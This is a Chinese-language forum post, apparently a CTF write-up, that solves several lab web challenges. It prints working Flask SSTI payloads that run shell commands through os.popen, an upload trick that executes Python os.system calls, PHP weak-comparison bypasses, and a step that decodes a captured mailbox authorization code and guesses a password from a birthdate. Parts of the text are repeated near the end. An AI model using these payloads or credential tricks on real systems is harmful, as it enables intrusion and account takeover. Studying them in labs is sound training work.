taibeihacker
Moderator
題目名稱:Simple_SSTI_2題目wirteup:啟動題目場景,獲得靶場網站,訪問網站,頁面顯示url連接需要連接一個flag參數http://114.67.246.176:19131/
根據題目內容,該題是一個ssti漏洞,這裡構造ssti,參數構造flag={{3+2}},報錯,且是flaskhttp://114.67.246.176:19131/?flag={{3+2}}
又嘗試構造flag={{3*2}},發現頁面顯示6.證明系統存在ssti漏洞http://114.67.246.176:19131/?flag={{3*2}}
通過config變量查看flask的配置信息,並沒有可利用點http://114.67.246.176:19131/?flag={{config}}
通過{{ config.__class__.__init__.__globals__['os'].popen('ls ./').read() }}讀取系統文件,這裡讀取網站系統目錄,發現存在一些文件夾,一個個進入查看,發現第一個看的app文件夾裡就有flag##__class__:用來查看變量所屬的類,根據前面的變量形式可以得到其所屬的類。 ##__init__ 初始化類,返回的類型是function##__globals__[] 使用方式是函數名.__globals__獲取function所處空間下可使用的module、方法以及所有變量。 ##os.popen() 方法用於從一個命令打開一個管道。
##open() 方法用於打開一個文件,並返回文件對象http://114.67.246.176:19131/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20./%27).read()%20}}
通過{{ config.__class__.__init__.__globals__['os'].popen('ls ./app').read() }}讀取app目錄下的文件,發現存在flag文件http://114.67.246.176:19131/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20./app%27).read()%20}}
通過{{ config.__class__.__init__.__globals__['os'].popen('cat ./app/flag').read() }}讀取flag內容http://114.67.246.176:19131/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20./app/flag%27).read()%20}}
最終得到flag:flag{fcf301ac393f2215b3664d749c2d875e}題目名稱:Flask_FileUpload題目witeup:http://114.67.246.176:12896/
對文件上傳頁面進行源碼查看,發現只允許上傳jpg和png文件名格式,且讓我們上傳文件,文件內容會被python執行view-source:http://114.67.246.176:12896/
system函數可以將字符串轉化成命令在服務器上運行;其原理是每一條system函數執行時,其會創建一個子進程在系統上執行命令行,子進程的執行結果無法影響主進程;os.system方法是os模塊最基礎的方法,其它的方法一般在該方法基礎上封裝完成。這裡使用python的os包中的system函數讀取flag這裡上傳一個test.jpg,其內容是讀取網站根目錄import os
os.system('ls /')
上傳成功,並查看源代碼,發現存在系統網站的根目錄,並且也發現根目錄中包含flag文件
查看flag
import os
os.system('cat /flag')
上傳成功,並查看源代碼,並發現flag內容
最終flag:flag{e541f3aadc9575ed6b6832b7ca34e327}題目名稱:計算器題目內容:計算正確即可得到flag題目writeup:其他題目場景,獲得靶場網站,訪問網站,發現需要輸入正確的驗證碼,才能獲得flag,通過f12元素審核,查看源代碼中包含了一個code.jshttp://114.67.246.176:16139/
查看code.js,發現flag內容http://114.67.246.176:16139/js/code.js
最終得到flag:flag{e5d6e3fe29850f7fec9ea6ef55f86050}題目名稱:GET題目內容:flag{}題目wirteup:啟動題目場景,獲得靶場網站,訪問網站,頁面上顯示了一段php代碼http://114.67.246.176:13678/
進行簡單的代碼審計,發現傳遞http get方法的what參數變量,當what參數變量等於flag時,那麼就輸出flag,這裡構造:what=flag,即可得到flaghttp://114.67.246.176:13678/?what=flag
最終flag:flag{54790dba4001f7ded2ebde88ca82a3ca}題目名稱:POST題目writeup:啟動題目場景,獲得靶場網站,訪問網站,發現一段php代碼http://114.67.246.176:15053/
進行簡單的代碼審計,發現傳遞http post get方法的what參數變量,當what參數變量等於flag時,那麼就輸出flag,這裡構造:http://114.67.246.176:15053/post:what=flag 即可獲得flag
最終flag:flag{4335dd4cc76278468578d8026fb121ae}
題目名稱:矛盾題目writeup:啟動題目場景,獲得靶場網站,訪問網站,發現是一段php 代碼
通過對代碼的簡單分析,我們可以發現傳入了一個參數num,這裡涉及道一個函數is_numeric,這個函數是檢測變量是否為數字或數字字符串,是數字和數字字符串則返回TRUE,否則返回FALSE
這條語句的意思是要傳入的num參數既不是數字字符串,並且又要等於1.'
num==1的判定是兩個等號,這是弱類型比較,如果等號兩邊類型不同,會轉換成相同類型再比較。
在弱類型比較下,當一個字符串與數字比較時,會把字符串轉換成數字,具體是保留字母前的數字。例如123ab7c會轉成123,ab7c會轉成0.(字母前沒數字就是0),所以,構造:num=1a,即可得到flag
最終flag:flag{d95c4676fd2740a47e0393cf3364e3e3}題目名稱:alert題目內容:flag{}題目wireup:啟動場景,獲得靶場網站,打開頁面,發現是一個無限制彈窗http://114.67.246.176:15743/
對其通過源碼形式訪問,並查看網頁源碼,發現註釋中有一段以#開頭的unicode編碼
通過在線unicode解密,得到flag內容http://tool.chinaz.com/tools/unicode.aspx
最終flag:flag{09eec7218f68c04c87093052720c2c11}題目名稱:你必須讓他停下題目wireup:啟動題目場景,獲得靶場網站,訪問網站,頁面不斷刷新圖片
對頁面進行源代碼查看,並沒有發現flag,只是有單不斷刷新頁面的scirpt腳本
通過bupsuit對其抓包,然後我們通過不斷重複的發送數據包go,最終在響應頁面可以看到flag內容
最終flag:flag{ff9acfa3bbec16fe29b3ad5aef8f5421}題目名稱:社工-初步收集題目內容:其實是雜項,勉強算社工吧。來自當年實戰題目writeup:啟動題目場景,獲得靶場網站,訪問網站,發現是一個刷鑽網站http://114.67.246.176:13506/#goumai
通過御劍對其目標靶場網站進行目錄掃描,發現存在admin後台
訪問admin目錄,確實存在後台http://114.67.246.176:13506/admin/login.php
在該靶場主頁下方,可下載輔助,這裡我麼對其下載。
解壓後,然後再虛擬機中運行該刷鑽程序
在輸入qq和密碼點擊開始,通過wrishark 對其抓包分析,發現彈出一個窗口“哈哈,小別緻別騙了”
仔細觀察抓到的包,會發現疑似存在發包的郵箱和Base64加密的Pass。
對base64進行解密成功,看起來,這個不像是密碼,太長了,而是想授權碼。
打開Foxmail登錄,輸入郵箱地址,然後輸入授權碼,即可登錄。
查看收件箱,按“主題”排序後,找到一封有可利用信息的郵件
可以看到發件人為Mara
發件時間是2021年,現在20歲,可以判斷在2001年出生
又說是前兩天過生日,可以判斷生日為2月6號
嘗試登陸一下輸入:用戶名mara ,密碼為maryy生日號碼:20010206
成功登錄系統,查看網站後台中的網站設置---播放器key,即可得到flag
最終得到flag:flag{c4cba16a2f1a2d5aedf2ddd90a6bd04f}題目名稱:game1題目wirtup:啟動題目場景,獲得靶場網站,訪問網站,發現一個玩遊戲,獲得最高分數,可獲得flag.這裡可以任意隨便玩一局。 http://114.67.246.176:17941/?s=1629731758384
然後在遊戲結束前通過bupsuit對其抓包分析,發現結果和source和ip以及sing三個參數的值有關。 http://114.67.246.176:17941/score.php?score=50ip=183.221.17.223sign=zMNTA===




##open() 方法用於打開一個文件,並返回文件對象http://114.67.246.176:19131/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20./%27).read()%20}}





os.system('ls /')
上傳成功,並查看源代碼,發現存在系統網站的根目錄,並且也發現根目錄中包含flag文件


import os
os.system('cat /flag')
上傳成功,並查看源代碼,並發現flag內容







題目名稱:矛盾題目writeup:啟動題目場景,獲得靶場網站,訪問網站,發現是一段php 代碼

這條語句的意思是要傳入的num參數既不是數字字符串,並且又要等於1.'
num==1的判定是兩個等號,這是弱類型比較,如果等號兩邊類型不同,會轉換成相同類型再比較。
在弱類型比較下,當一個字符串與數字比較時,會把字符串轉換成數字,具體是保留字母前的數字。例如123ab7c會轉成123,ab7c會轉成0.(字母前沒數字就是0),所以,構造:num=1a,即可得到flag











解壓後,然後再虛擬機中運行該刷鑽程序

在輸入qq和密碼點擊開始,通過wrishark 對其抓包分析,發現彈出一個窗口“哈哈,小別緻別騙了”

仔細觀察抓到的包,會發現疑似存在發包的郵箱和Base64加密的Pass。

對base64進行解密成功,看起來,這個不像是密碼,太長了,而是想授權碼。

打開Foxmail登錄,輸入郵箱地址,然後輸入授權碼,即可登錄。

查看收件箱,按“主題”排序後,找到一封有可利用信息的郵件
可以看到發件人為Mara
發件時間是2021年,現在20歲,可以判斷在2001年出生
又說是前兩天過生日,可以判斷生日為2月6號

嘗試登陸一下輸入:用戶名mara ,密碼為maryy生日號碼:20010206

成功登錄系統,查看網站後台中的網站設置---播放器key,即可得到flag

